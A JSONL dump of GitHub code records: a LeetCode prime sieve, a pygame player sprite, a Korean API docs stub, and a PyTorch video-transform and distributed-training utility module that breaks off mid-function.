+{"seq_id":"15880281690","text":"class Solution(object):\n    def countPrimes(self, n):\n        \"\"\"\n        :type n: int\n        :rtype: int\n        \"\"\"\n        isPrime = [0, 0] + [-1] * (n-2)\n        for num in range(n):\n            if isPrime[num]>=0:\n                continue\n\n            isPrime[num] = 1\n            i = num\n            while i*num<n:\n                isPrime[i*num] = 0\n                i += 1\n        return sum(isPrime)\n\nn = 499979\ns = Solution()\nprint(s.countPrimes(n))","repo_name":"zqlao/leetcode","sub_path":"countPrimes.py","file_name":"countPrimes.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"26548447859","text":"import pygame\nimport random\n\n# Models are called Sprites\n\n# Controller => Sprites => Surface => Rectangle\n\n\nclass Player(pygame.sprite.Sprite):\n\n    def __init__(self):\n        '''\n        Summary: this allows us to place player at their starting position\n        args : NA\n        return: NA\n        '''\n    \n        super().__init__()  # initializes the sprite library\n        self.health = 3\n        self.direction = 'R'\n        # required by sprite\n        self.image = pygame.image.load('assets/hero.png').convert_alpha()\n        self.rect = self.image.get_rect()  # rectangle\n        self.rect.inflate_ip(-25, -25)\n        self.speed = 10\n        self.rect.x = 450\n        self.rect.y = 500\n\n    def move(self, direction):\n        '''\n        Summary: this allows the player to move\n        args : NA\n        return: NA\n        '''\n        if direction == \"L\":\n            self.rect.x -= self.speed\n        else:\n            self.rect.x += self.speed\n\n    def fight(self, opponent):\n        '''\n        Summary: this decides the fight result\n        args : NA\n        return: bool: whether the player wins the fight\n        '''\n        # 1/3 chance of winning\n        return not bool(random.randrange(3))\n","repo_name":"ttourneux/test","sub_path":"src/Player.py","file_name":"Player.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"4319310064","text":"DEVELOPER_INFO_GET = {\n    'tags': ['[Mixed] 메타데이터'],\n    'description': 'DMS 개발자 정보를 조회합니다.',\n    'responses': {\n        '200': {\n            'description': '정보 조회 성공',\n            'examples': {\n                '': {\n                    'app': ['조성빈', '이병찬', '윤정현', '이성현'],\n                    'server': ['김성래', '조민규', '인상민'],\n                    'webFrontend': ['김지수', '김건', '서윤호', '김형규', '오인서', '윤효상'],\n                    'desktop': ['김경식', '정원태', '김동현', '이종현', '류근찬'],\n                    'design': ['윤여환', '김동규']\n                }\n            }\n        }\n    }\n}\n","repo_name":"DSM-DMS/DMS-Backend","sub_path":"Server/app/docs/v2/mixed/metadata/developers.py","file_name":"developers.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"ko","doc_type":"code","stars":17,"dataset":"github-code","pt":"51"}
+{"seq_id":"2143931315","text":"\"\"\"\nTransforms and data augmentation for sequence level images, bboxes and masks.\n\"\"\"\nimport random\n\nimport PIL\nimport torch\nimport torchvision.transforms as T\nimport torchvision.transforms.functional as F\n\nimport numpy as np\nfrom numpy import random as rand\nfrom PIL import Image\nimport cv2\n\n\"\"\"\nUtilities for bounding box manipulation and GIoU.\n\"\"\"\nimport torch\nfrom torchvision.ops.boxes import box_area\n\n\ndef clip_iou(boxes1, boxes2):\n    area1 = box_area(boxes1)\n    area2 = box_area(boxes2)\n    lt = torch.max(boxes1[:, :2], boxes2[:, :2])\n    rb = torch.min(boxes1[:, 2:], boxes2[:, 2:])\n    wh = (rb - lt).clamp(min=0)\n    inter = wh[:, 0] * wh[:, 1]\n    union = area1 + area2 - inter\n    iou = (inter + 1e-6) / (union + 1e-6)\n    return iou\n\n\ndef multi_iou(boxes1, boxes2):\n    lt = torch.max(boxes1[..., :2], boxes2[..., :2])\n    rb = torch.min(boxes1[..., 2:], boxes2[..., 2:])\n    wh = (rb - lt).clamp(min=0)\n    wh_1 = boxes1[..., 2:] - boxes1[..., :2]\n    wh_2 = boxes2[..., 2:] - boxes2[..., :2]\n    inter = wh[..., 0] * wh[..., 1]\n    union = wh_1[..., 0] * wh_1[..., 1] + wh_2[..., 0] * wh_2[..., 1] - inter\n    iou = (inter + 1e-6) / (union + 1e-6)\n    return iou\n\n\ndef box_cxcywh_to_xyxy(x):\n    x_c, y_c, w, h = x.unbind(-1)\n    b = [(x_c - 0.5 * w), (y_c - 0.5 * h),\n         (x_c + 0.5 * w), (y_c + 0.5 * h)]\n    return torch.stack(b, dim=-1)\n\n\ndef box_xyxy_to_cxcywh(x):\n    x0, y0, x1, y1 = x.unbind(-1)\n    b = [(x0 + x1) / 2, (y0 + y1) / 2,\n         (x1 - x0), (y1 - y0)]\n    return torch.stack(b, dim=-1)\n\n\n# modified from torchvision to also return the union\ndef box_iou(boxes1, boxes2):\n    area1 = box_area(boxes1)\n    area2 = box_area(boxes2)\n\n    lt = torch.max(boxes1[:, None, :2], boxes2[:, :2])  # [N,M,2]\n    rb = torch.min(boxes1[:, None, 2:], boxes2[:, 2:])  # [N,M,2]\n\n    wh = (rb - lt).clamp(min=0)  # [N,M,2]\n    inter = wh[:, :, 0] * wh[:, :, 1]  # [N,M]\n\n    union = area1[:, None] + area2 - inter\n\n    iou = (inter + 1e-6) / (union + 1e-6)\n    return iou, union\n\n\ndef generalized_box_iou(boxes1, boxes2):\n    \"\"\"\n    Generalized IoU from https://giou.stanford.edu/\n\n    The boxes should be in [x0, y0, x1, y1] format\n\n    Returns a [N, M] pairwise matrix, where N = len(boxes1)\n    and M = len(boxes2)\n    \"\"\"\n    # degenerate boxes gives inf / nan results\n    # so do an early check\n    assert (boxes1[:, 2:] >= boxes1[:, :2]).all()\n    assert (boxes2[:, 2:] >= boxes2[:, :2]).all()\n    iou, union = box_iou(boxes1, boxes2)\n\n    lt = torch.min(boxes1[:, None, :2], boxes2[:, :2])\n    rb = torch.max(boxes1[:, None, 2:], boxes2[:, 2:])\n\n    wh = (rb - lt).clamp(min=0)  # [N,M,2]\n    area = wh[:, :, 0] * wh[:, :, 1]\n\n    return iou - ((area - union) + 1e-6) / (area + 1e-6)\n\n\ndef masks_to_boxes(masks):\n    \"\"\"Compute the bounding boxes around the provided masks\n\n    The masks should be in format [N, H, W] where N is the number of masks, (H, W) are the spatial dimensions.\n\n    Returns a [N, 4] tensors, with the boxes in xyxy format\n    \"\"\"\n    if masks.numel() == 0:\n        return torch.zeros((0, 4), device=masks.device)\n\n    h, w = masks.shape[-2:]\n\n    y = torch.arange(0, h, dtype=torch.float)\n    x = torch.arange(0, w, dtype=torch.float)\n    y, x = torch.meshgrid(y, x)\n\n    x_mask = (masks * x.unsqueeze(0))\n    x_max = x_mask.flatten(1).max(-1)[0]\n    x_min = x_mask.masked_fill(~(masks.bool()), 1e8).flatten(1).min(-1)[0]\n\n    y_mask = (masks * y.unsqueeze(0))\n    y_max = y_mask.flatten(1).max(-1)[0]\n    y_min = y_mask.masked_fill(~(masks.bool()), 1e8).flatten(1).min(-1)[0]\n\n    return torch.stack([x_min, y_min, x_max, y_max], 1)\n\n\n\"\"\"\nMisc functions, including distributed helpers.\nMostly copy-paste from torchvision references.\n\"\"\"\nimport os\nimport io\nimport subprocess\nimport time\nfrom collections import defaultdict, deque\nimport datetime\nfrom typing import Optional, List, Dict, Any\n\nimport torch\nimport torch.distributed as dist\nfrom torch import Tensor\nimport functools\n\n_LOCAL_PROCESS_GROUP = None\n\n\n@functools.lru_cache()\ndef _get_global_gloo_group():\n    \"\"\"\n    Return a process group based on gloo backend, containing all the ranks\n    The result is cached.\n    \"\"\"\n\n    if dist.get_backend() == \"nccl\":\n        return dist.new_group(backend=\"gloo\")\n\n    return dist.group.WORLD\n\n\n# needed due to empty tensor bug in pytorch and torchvision 0.5\nimport torchvision\n\n\n# if float(torchvision.__version__[:3]) < 0.7:\n#     from torchvision.ops import _new_empty_tensor\n#     from torchvision.ops.misc import _output_size\n\n\nclass SmoothedValue(object):\n    \"\"\"Track a series of values and provide access to smoothed values over a\n    window or the global series average.\n    \"\"\"\n\n    def __init__(self, window_size=20, fmt=None):\n        if fmt is None:\n            fmt = \"{median:.4f} ({global_avg:.4f})\"\n        self.deque = deque(maxlen=window_size)\n        self.total = 0.0\n        self.count = 0\n        self.fmt = fmt\n\n    def update(self, value, n=1):\n        self.deque.append(value)\n        self.count += n\n        self.total += value * n\n\n    def synchronize_between_processes(self):\n        \"\"\"\n        Warning: does not synchronize the deque!\n        \"\"\"\n        if not is_dist_avail_and_initialized():\n            return\n        t = torch.tensor([self.count, self.total], dtype=torch.float64, device='cuda')\n        dist.barrier()\n        dist.all_reduce(t)\n        t = t.tolist()\n        self.count = int(t[0])\n        self.total = t[1]\n\n    @property\n    def median(self):\n        d = torch.tensor(list(self.deque))\n        return d.median().item()\n\n    @property\n    def avg(self):\n        d = torch.tensor(list(self.deque), dtype=torch.float32)\n        return d.mean().item()\n\n    @property\n    def global_avg(self):\n        return self.total / self.count\n\n    @property\n    def max(self):\n        return max(self.deque)\n\n    @property\n    def value(self):\n        return self.deque[-1]\n\n    def __str__(self):\n        return self.fmt.format(\n            median=self.median,\n            avg=self.avg,\n            global_avg=self.global_avg,\n            max=self.max,\n            value=self.value)\n\n\n# copy-paste from mdetr: https://github.com/ashkamath/mdetr/blob/main/util/dist.py\ndef all_gather(data):\n    \"\"\"\n    Run all_gather on arbitrary picklable data (not necessarily tensors)\n    Args:\n        data: any picklable object\n    Returns:\n        list[data]: list of data gathered from each rank\n    \"\"\"\n\n    world_size = get_world_size()\n    if world_size == 1:\n        return [data]\n\n    cpu_group = None\n    if os.getenv(\"MDETR_CPU_REDUCE\") == \"1\":\n        cpu_group = _get_global_gloo_group()\n\n    buffer = io.BytesIO()\n    torch.save(data, buffer)\n    data_view = buffer.getbuffer()\n    device = \"cuda\" if cpu_group is None else \"cpu\"\n    tensor = torch.ByteTensor(data_view).to(device)\n\n    # obtain Tensor size of each rank\n    local_size = torch.tensor([tensor.numel()], device=device, dtype=torch.long)\n    size_list = [torch.tensor([0], device=device, dtype=torch.long) for _ in range(world_size)]\n    if cpu_group is None:\n        dist.all_gather(size_list, local_size)\n    else:\n        print(\"gathering on cpu\")\n        dist.all_gather(size_list, local_size, group=cpu_group)\n    size_list = [int(size.item()) for size in size_list]\n    max_size = max(size_list)\n    assert isinstance(local_size.item(), int)\n    local_size = int(local_size.item())\n\n    # receiving Tensor from all ranks\n    # we pad the tensor because torch all_gather does not support\n    # gathering tensors of different shapes\n    tensor_list = []\n    for _ in size_list:\n        tensor_list.append(torch.empty((max_size,), dtype=torch.uint8, device=device))\n    if local_size != max_size:\n        padding = torch.empty(size=(max_size - local_size,), dtype=torch.uint8, device=device)\n        tensor = torch.cat((tensor, padding), dim=0)\n    if cpu_group is None:\n        dist.all_gather(tensor_list, tensor)\n    else:\n        dist.all_gather(tensor_list, tensor, group=cpu_group)\n\n    data_list = []\n    for size, tensor in zip(size_list, tensor_list):\n        tensor = torch.split(tensor, [size, max_size - size], dim=0)[0]\n        buffer = io.BytesIO(tensor.cpu().numpy())\n        obj = torch.load(buffer)\n        data_list.append(obj)\n\n    return data_list\n\n\ndef reduce_dict(input_dict, average=True):\n    \"\"\"\n    Args:\n        input_dict (dict): all the values will be reduced\n        average (bool): whether to do average or sum\n    Reduce the values in the dictionary from all processes so that all processes\n    have the averaged results. Returns a dict with the same fields as\n    input_dict, after reduction.\n    \"\"\"\n    world_size = get_world_size()\n    if world_size < 2:\n        return input_dict\n    with torch.no_grad():\n        names = []\n        values = []\n        # sort the keys so that they are consistent across processes\n        for k in sorted(input_dict.keys()):\n            names.append(k)\n            values.append(input_dict[k])\n        values = torch.stack(values, dim=0)\n        dist.all_reduce(values)\n        if average:\n            values /= world_size\n        reduced_dict = {k: v for k, v in zip(names, values)}\n    return reduced_dict\n\n\nclass MetricLogger(object):\n    def __init__(self, delimiter=\"\\t\"):\n        self.meters = defaultdict(SmoothedValue)\n        self.delimiter = delimiter\n\n    def update(self, **kwargs):\n        for k, v in kwargs.items():\n            if isinstance(v, torch.Tensor):\n                v = v.item()\n            assert isinstance(v, (float, int))\n            self.meters[k].update(v)\n\n    def __getattr__(self, attr):\n        if attr in self.meters:\n            return self.meters[attr]\n        if attr in self.__dict__:\n            return self.__dict__[attr]\n        raise AttributeError(\"'{}' object has no attribute '{}'\".format(\n            type(self).__name__, attr))\n\n    def __str__(self):\n        loss_str = []\n        for name, meter in self.meters.items():\n            loss_str.append(\n                \"{}: {}\".format(name, str(meter))\n            )\n        return self.delimiter.join(loss_str)\n\n    def synchronize_between_processes(self):\n        for meter in self.meters.values():\n            meter.synchronize_between_processes()\n\n    def add_meter(self, name, meter):\n        self.meters[name] = meter\n\n    def log_every(self, iterable, print_freq, header=None):\n        i = 0\n        if not header:\n            header = ''\n        start_time = time.time()\n        end = time.time()\n        iter_time = SmoothedValue(fmt='{avg:.4f}')\n        data_time = SmoothedValue(fmt='{avg:.4f}')\n        space_fmt = ':' + str(len(str(len(iterable)))) + 'd'\n        if torch.cuda.is_available():\n            log_msg = self.delimiter.join([\n                header,\n                '[{0' + space_fmt + '}/{1}]',\n                'eta: {eta}',\n                '{meters}',\n                'time: {time}',\n                'data: {data}',\n                'max mem: {memory:.0f}'\n            ])\n        else:\n            log_msg = self.delimiter.join([\n                header,\n                '[{0' + space_fmt + '}/{1}]',\n                'eta: {eta}',\n                '{meters}',\n                'time: {time}',\n                'data: {data}'\n            ])\n        MB = 1024.0 * 1024.0\n        for obj in iterable:\n            data_time.update(time.time() - end)\n            yield obj\n            iter_time.update(time.time() - end)\n            if i % print_freq == 0 or i == len(iterable) - 1:\n                eta_seconds = iter_time.global_avg * (len(iterable) - i)\n                eta_string = str(datetime.timedelta(seconds=int(eta_seconds)))\n                if torch.cuda.is_available():\n                    print(log_msg.format(\n                        i, len(iterable), eta=eta_string,\n                        meters=str(self),\n                        time=str(iter_time), data=str(data_time),\n                        memory=torch.cuda.max_memory_allocated() / MB))\n                else:\n                    print(log_msg.format(\n                        i, len(iterable), eta=eta_string,\n                        meters=str(self),\n                        time=str(iter_time), data=str(data_time)))\n            i += 1\n            end = time.time()\n        total_time = time.time() - start_time\n        total_time_str = str(datetime.timedelta(seconds=int(total_time)))\n        print('{} Total time: {} ({:.4f} s / it)'.format(\n            header, total_time_str, total_time / len(iterable)))\n\n\ndef get_sha():\n    cwd = os.path.dirname(os.path.abspath(__file__))\n\n    def _run(command):\n        return subprocess.check_output(command, cwd=cwd).decode('ascii').strip()\n\n    sha = 'N/A'\n    diff = \"clean\"\n    branch = 'N/A'\n    try:\n        sha = _run(['git', 'rev-parse', 'HEAD'])\n        subprocess.check_output(['git', 'diff'], cwd=cwd)\n        diff = _run(['git', 'diff-index', 'HEAD'])\n        diff = \"has uncommited changes\" if diff else \"clean\"\n        branch = _run(['git', 'rev-parse', '--abbrev-ref', 'HEAD'])\n    except Exception:\n        pass\n    message = f\"sha: {sha}, status: {diff}, branch: {branch}\"\n    return message\n\n\ndef collate_fn(batch):\n    # batch: imgs, targets\n    batch = list(zip(*batch))\n    batch[0] = nested_tensor_from_videos_list(batch[0], size_divisibility=32)\n    # batch[0]: samples: NestedTensor(tensor, mask)\n    #           tensor: [B, T, C, H, W], mask: [B, T, H, W]\n    # batch[1]: targets: list[dict]\n    return tuple(batch)\n\n\ndef _max_by_axis(the_list):\n    # type: (List[List[int]]) -> List[int]\n    maxes = the_list[0]\n    for sublist in the_list[1:]:  # (C, H, W)\n        for index, item in enumerate(sublist):\n            maxes[index] = max(maxes[index], item)\n    return maxes\n\n\ndef nested_tensor_from_tensor_list(tensor_list: List[Tensor], size_divisibility=1, split=True):\n    \"\"\"\n    This function receives a list of image tensors and returns a NestedTensor of the padded images, along with their\n    padding masks (true for padding areas, false otherwise).\n    \"\"\"\n    # TODO make this more general\n    # if image tensor is stacked as [T*3, H, W], then use split\n    if split:\n        tensor_list = [tensor.split(3, dim=0) for tensor in tensor_list]\n        tensor_list = [item for sublist in tensor_list for item in sublist]\n        # list[tensor], length = batch_size x time\n\n    if tensor_list[0].ndim == 3:\n        # TODO make it support different-sized images\n        max_size = _max_by_axis([list(img.shape) for img in tensor_list])\n\n        if size_divisibility > 1:  # so that the mask dowmsample can be matched\n            stride = size_divisibility\n            # the last two dims are [H, W], both subject to divisibility requirement\n            max_size[-2] = (max_size[-2] + (stride - 1)) // stride * stride\n            max_size[-1] = (max_size[-1] + (stride - 1)) // stride * stride\n\n        # min_size = tuple(min(s) for s in zip(*[img.shape for img in tensor_list]))\n        batch_shape = [len(tensor_list)] + max_size\n        b, c, h, w = batch_shape\n        dtype = tensor_list[0].dtype\n        device = tensor_list[0].device\n        tensor = torch.zeros(batch_shape, dtype=dtype, device=device)\n        mask = torch.ones((b, h, w), dtype=torch.bool, device=device)\n        for img, pad_img, m in zip(tensor_list, tensor, mask):\n            pad_img[: img.shape[0], : img.shape[1], : img.shape[2]].copy_(img)\n            m[: img.shape[1], :img.shape[2]] = False  # valid locations\n    else:\n        raise ValueError('not supported')\n    return NestedTensor(tensor, mask)\n\n\ndef nested_tensor_from_videos_list(videos_list: List[Tensor], size_divisibility=1):\n    \"\"\"\n    This function receives a list of videos (each of shape [T, C, H, W]) and returns a NestedTensor of the padded\n    videos (shape [B, T, C, PH, PW], along with their padding masks (true for padding areas, false otherwise, of shape\n    [B, T, PH, PW].\n    \"\"\"\n    max_size = _max_by_axis([list(img.shape) for img in videos_list])\n\n    if size_divisibility > 1:  # so that the mask dowmsample can be matched\n        stride = size_divisibility\n        # the last two dims are [H, W], both subject to divisibility requirement\n        max_size[-2] = (max_size[-2] + (stride - 1)) // stride * stride\n        max_size[-1] = (max_size[-1] + (stride - 1)) // stride * stride\n\n    padded_batch_shape = [len(videos_list)] + max_size\n    b, t, c, h, w = padded_batch_shape\n    dtype = videos_list[0].dtype\n    device = videos_list[0].device\n    padded_videos = torch.zeros(padded_batch_shape, dtype=dtype, device=device)\n    videos_pad_masks = torch.ones((b, t, h, w), dtype=torch.bool, device=device)\n    for vid_frames, pad_vid_frames, vid_pad_m in zip(videos_list, padded_videos, videos_pad_masks):\n        pad_vid_frames[:vid_frames.shape[0], :, :vid_frames.shape[2], :vid_frames.shape[3]].copy_(vid_frames)\n        vid_pad_m[:vid_frames.shape[0], :vid_frames.shape[2], :vid_frames.shape[3]] = False\n    return NestedTensor(padded_videos, videos_pad_masks)\n\n\nclass NestedTensor(object):\n    def __init__(self, tensors, mask: Optional[Tensor]):\n        self.tensors = tensors\n        self.mask = mask\n\n    def to(self, device):\n        # type: (Device) -> NestedTensor # noqa\n        cast_tensor = self.tensors.to(device)\n        mask = self.mask\n        if mask is not None:\n            assert mask is not None\n            cast_mask = mask.to(device)\n        else:\n            cast_mask = None\n        return NestedTensor(cast_tensor, cast_mask)\n\n    def decompose(self):\n        return self.tensors, self.mask\n\n    def __repr__(self):\n        return str(self.tensors)\n\n\ndef setup_for_distributed(is_master):\n    \"\"\"\n    This function disables printing when not in master process\n    \"\"\"\n    import builtins as __builtin__\n    builtin_print = __builtin__.print\n\n    def print(*args, **kwargs):\n        force = kwargs.pop('force', False)\n        if is_master or force:\n            builtin_print(*args, **kwargs)\n\n    __builtin__.print = print\n\n\ndef is_dist_avail_and_initialized():\n    if not dist.is_available():\n        return False\n    if not dist.is_initialized():\n        return False\n    return True\n\n\ndef get_world_size():\n    if not is_dist_avail_and_initialized():\n        return 1\n    return dist.get_world_size()\n\n\ndef get_rank():\n    if not is_dist_avail_and_initialized():\n        return 0\n    return dist.get_rank()\n\n\ndef is_main_process():\n    return get_rank() == 0\n\n\ndef save_on_master(*args, **kwargs):\n    if is_main_process():\n        torch.save(*args, **kwargs, _use_new_zipfile_serialization=False)\n\n\ndef init_distributed_mode(args):\n    if 'RANK' in os.environ and 'WORLD_SIZE' in os.environ:\n        args.rank = int(os.environ[\"RANK\"])\n        args.world_size = int(os.environ['WORLD_SIZE'])\n        args.gpu = int(os.environ['LOCAL_RANK'])\n        args.dist_url = 'env://'\n        os.environ['LOCAL_SIZE'] = str(torch.cuda.device_count())\n    elif 'SLURM_PROCID' in os.environ:\n        proc_id = int(os.environ['SLURM_PROCID'])\n        ntasks = int(os.environ['SLURM_NTASKS'])\n        node_list = os.environ['SLURM_NODELIST']\n        num_gpus = torch.cuda.device_count()\n        addr = subprocess.getoutput(\n            'scontrol show hostname {} | head -n1'.format(node_list))\n        os.environ['MASTER_PORT'] = os.environ.get('MASTER_PORT', '29500')\n        os.environ['MASTER_ADDR'] = addr\n        os.environ['WORLD_SIZE'] = str(ntasks)\n        os.environ['RANK'] = str(proc_id)\n        os.environ['LOCAL_RANK'] = str(proc_id % num_gpus)\n        os.environ['LOCAL_SIZE'] = str(num_gpus)\n        args.dist_url = 'env://'\n        args.world_size = ntasks\n        args.rank = proc_id\n        args.gpu = proc_id % num_gpus\n    else:\n        print('Not using distributed mode')\n        args.distributed = False\n        return\n\n    args.distributed = True\n\n    torch.cuda.set_device(args.gpu)\n    args.dist_backend = 'nccl'\n    print('| distributed init (rank {}): {}'.format(\n        args.rank, args.dist_url), flush=True)\n    torch.distributed.init_process_group(backend=args.dist_backend, init_method=args.dist_url,\n                                         world_size=args.world_size, rank=args.rank)\n    torch.distributed.barrier()\n    setup_for_distributed(args.rank == 0)\n\n\n@torch.no_grad()\ndef accuracy(output, target, topk=(1,)):\n    \"\"\"Computes the precision@k for the specified values of k\"\"\"\n    if target.numel() == 0:\n        return [torch.zeros([], device=output.device)]\n    maxk = max(topk)\n    batch_size = target.size(0)\n\n    _, pred = output.topk(maxk, 1, True, True)\n    pred = pred.t()\n    correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n    res = []\n    for k in topk:\n        correct_k = correct[:k].view(-1).float().sum(0)\n        res.append(correct_k.mul_(100.0 / batch_size))\n    return res\n\n\ndef interpolate(input, size=None, scale_factor=None, mode=\"nearest\", align_corners=None):\n    # type: (Tensor, Optional[List[int]], Optional[float], str, Optional[bool]) -> Tensor\n    \"\"\"\n    Equivalent to nn.functional.interpolate, but with support for empty batch sizes.\n    This will eventually be supported natively by PyTorch, and this\n    class can go away.\n    \"\"\"\n    # if float(torchvision.__version__[:3]) < 0.7:\n    #     if input.numel() > 0:\n    #         return torch.nn.functional.interpolate(\n    #             input, size, scale_factor, mode, align_corners\n    #         )\n\n    #     output_shape = _output_size(2, input, size, scale_factor)\n    #     output_shape = list(input.shape[:-2]) + list(output_shape)\n    #     return _new_empty_tensor(input, output_shape)\n    # else:\n    #     return torchvision.ops.misc.interpolate(input, size, scale_factor, mode, align_corners)\n    return torchvision.ops.misc.interpolate(input, size, scale_factor, mode, align_corners)\n\n\ndef targets_to(targets: List[Dict[str, Any]], device):\n    \"\"\"Moves the target dicts to the given device.\n    excluded_keys = [\n        \"questionId\",\n        \"tokens_positive\",\n        \"tokens\",\n        \"dataset_name\",\n        \"sentence_id\",\n        \"original_img_id\",\n        \"nb_eval\",\n        \"task_id\",\n        \"original_id\",\n    ]\n    \"\"\"\n    if \"dataset_name\" in targets[0]:\n        # for [\"refcoco\", \"refcoco+\", \"refcocog\"] evaluation\n        return [{k: v.to(device) for k, v in t.items() if k not in [\"caption\", \"dataset_name\", \"original_id\"]} for t in\n                targets]\n    else:\n        return [\n            {k: v.to(device) for k, v in t.items() if k not in [\"caption\", \"dataset_name\", \"original_id\", \"image_id\"]}\n            for t in targets]\n\n\ndef get_total_grad_norm(parameters, norm_type=2):\n    parameters = list(filter(lambda p: p.grad is not None, parameters))\n    norm_type = float(norm_type)\n    device = parameters[0].grad.device\n    total_norm = torch.norm(torch.stack([torch.norm(p.grad.detach(), norm_type).to(device) for p in parameters]),\n                            norm_type)\n\n\ndef inverse_sigmoid(x, eps=1e-5):\n    x = x.clamp(min=0, max=1)\n    x1 = x.clamp(min=eps)\n    x2 = (1 - x).clamp(min=eps)\n    return torch.log(x1 / x2)\n\n\nclass Check(object):\n    def __init__(self, ):\n        pass\n\n    def __call__(self, img, target):\n        fields = [\"labels\"]\n        if \"boxes\" in target:\n            fields.append(\"boxes\")\n        if \"masks\" in target:\n            fields.append(\"masks\")\n\n        ### check if box or mask still exist after transforms\n        if \"boxes\" in target or \"masks\" in target:\n            if \"boxes\" in target:\n                cropped_boxes = target['boxes'].reshape(-1, 2, 2)\n                keep = torch.all(cropped_boxes[:, 1, :] > cropped_boxes[:, 0, :], dim=1)\n            else:\n                keep = target['masks'].flatten(1).any(1)\n\n            if False in keep:\n                for k in range(len(keep)):\n                    if not keep[k] and \"boxes\" in target:\n                        target['boxes'][k] = target['boxes'][k] // 1000.0  # [0, 0, 0, 0]\n\n        target['valid'] = keep.to(torch.int32)\n\n        return img, target\n\n\ndef bbox_overlaps(bboxes1, bboxes2, mode='iou', eps=1e-6):\n    assert mode in ['iou', 'iof']\n    bboxes1 = bboxes1.astype(np.float32)\n    bboxes2 = bboxes2.astype(np.float32)\n    rows = bboxes1.shape[0]\n    cols = bboxes2.shape[0]\n    ious = np.zeros((rows, cols), dtype=np.float32)\n    if rows * cols == 0:\n        return ious\n    exchange = False\n    if bboxes1.shape[0] > bboxes2.shape[0]:\n        bboxes1, bboxes2 = bboxes2, bboxes1\n        ious = np.zeros((cols, rows), dtype=np.float32)\n        exchange = True\n    area1 = (bboxes1[:, 2] - bboxes1[:, 0]) * (bboxes1[:, 3] - bboxes1[:, 1])\n    area2 = (bboxes2[:, 2] - bboxes2[:, 0]) * (bboxes2[:, 3] - bboxes2[:, 1])\n    for i in range(bboxes1.shape[0]):\n        x_start = np.maximum(bboxes1[i, 0], bboxes2[:, 0])\n        y_start = np.maximum(bboxes1[i, 1], bboxes2[:, 1])\n        x_end = np.minimum(bboxes1[i, 2], bboxes2[:, 2])\n        y_end = np.minimum(bboxes1[i, 3], bboxes2[:, 3])\n        overlap = np.maximum(x_end - x_start, 0) * np.maximum(y_end - y_start, 0)\n        if mode == 'iou':\n            union = area1[i] + area2 - overlap\n        else:\n            union = area1[i] if not exchange else area2\n        union = np.maximum(union, eps)\n        ious[i, :] = overlap / union\n    if exchange:\n        ious = ious.T\n    return ious\n\n\ndef crop(clip, target, region):\n    cropped_image = []\n    for image in clip:\n        cropped_image.append(F.crop(image, *region))\n\n    target = target.copy()\n    i, j, h, w = region\n\n    # should we do something wrt the original size?\n    target[\"size\"] = torch.tensor([h, w])\n\n    fields = [\"labels\", \"area\", \"iscrowd\"]\n\n    if \"boxes\" in target:\n        boxes = target[\"boxes\"]\n        max_size = torch.as_tensor([w, h], dtype=torch.float32)\n        cropped_boxes = boxes - torch.as_tensor([j, i, j, i])\n        cropped_boxes = torch.min(cropped_boxes.reshape(-1, 2, 2), max_size)\n        cropped_boxes = cropped_boxes.clamp(min=0)\n        area = (cropped_boxes[:, 1, :] - cropped_boxes[:, 0, :]).prod(dim=1)\n        target[\"boxes\"] = cropped_boxes.reshape(-1, 4)\n        target[\"area\"] = area\n        fields.append(\"boxes\")\n\n    if \"masks\" in target:\n        # FIXME should we update the area here if there are no boxes?\n        target['masks'] = target['masks'][:, i:i + h, j:j + w]\n        fields.append(\"masks\")\n\n    return cropped_image, target\n\n\ndef hflip(clip, target):\n    flipped_image = []\n    for image in clip:\n        flipped_image.append(F.hflip(image))\n\n    w, h = clip[0].size\n\n    target = target.copy()\n    if \"boxes\" in target:\n        boxes = target[\"boxes\"]\n        boxes = boxes[:, [2, 1, 0, 3]] * torch.as_tensor([-1, 1, -1, 1]) + torch.as_tensor([w, 0, w, 0])\n        target[\"boxes\"] = boxes\n\n    if \"masks\" in target:\n        target['masks'] = target['masks'].flip(-1)\n\n    return flipped_image, target\n\n\ndef vflip(image, target):\n    flipped_image = []\n    for image in clip:\n        flipped_image.append(F.vflip(image))\n    w, h = clip[0].size\n    target = target.copy()\n    if \"boxes\" in target:\n        boxes = target[\"boxes\"]\n        boxes = boxes[:, [0, 3, 2, 1]] * torch.as_tensor([1, -1, 1, -1]) + torch.as_tensor([0, h, 0, h])\n        target[\"boxes\"] = boxes\n\n    if \"masks\" in target:\n        target['masks'] = target['masks'].flip(1)\n\n    return flipped_image, target\n\n\ndef resize(clip, target, size, max_size=None):\n    # size can be min_size (scalar) or (w, h) tuple\n\n    def get_size_with_aspect_ratio(image_size, size, max_size=None):\n        w, h = image_size\n        if max_size is not None:\n            min_original_size = float(min((w, h)))\n            max_original_size = float(max((w, h)))\n            if max_original_size / min_original_size * size > max_size:\n                size = int(round(max_size * min_original_size / max_original_size))\n\n        if (w <= h and w == size) or (h <= w and h == size):\n            return (h, w)\n\n        if w < h:\n            ow = size\n            oh = int(size * h / w)\n        else:\n            oh = size\n            ow = int(size * w / h)\n\n        return (oh, ow)\n\n    def get_size(image_size, size, max_size=None):\n        if isinstance(size, (list, tuple)):\n            return size[::-1]\n        else:\n            return get_size_with_aspect_ratio(image_size, size, max_size)\n\n    size = get_size(clip[0].size, size, max_size)\n    rescaled_image = []\n    for image in clip:\n        rescaled_image.append(F.resize(image, size))\n\n    if target is None:\n        return rescaled_image, None\n\n    ratios = tuple(float(s) / float(s_orig) for s, s_orig in zip(rescaled_image[0].size, clip[0].size))\n    ratio_width, ratio_height = ratios\n\n    target = target.copy()\n    if \"boxes\" in target:\n        boxes = target[\"boxes\"]\n        scaled_boxes = boxes * torch.as_tensor([ratio_width, ratio_height, ratio_width, ratio_height])\n        target[\"boxes\"] = scaled_boxes\n\n    if \"area\" in target:\n        area = target[\"area\"]\n        scaled_area = area * (ratio_width * ratio_height)\n        target[\"area\"] = scaled_area\n\n    h, w = size\n    target[\"size\"] = torch.tensor([h, w])\n\n    if \"masks\" in target:\n        if target['masks'].shape[0] > 0:\n            target['masks'] = interpolate(\n                target['masks'][:, None].float(), size, mode=\"nearest\")[:, 0] > 0.5\n        else:\n            target['masks'] = torch.zeros((target['masks'].shape[0], h, w))\n    return rescaled_image, target\n\n\ndef pad(clip, target, 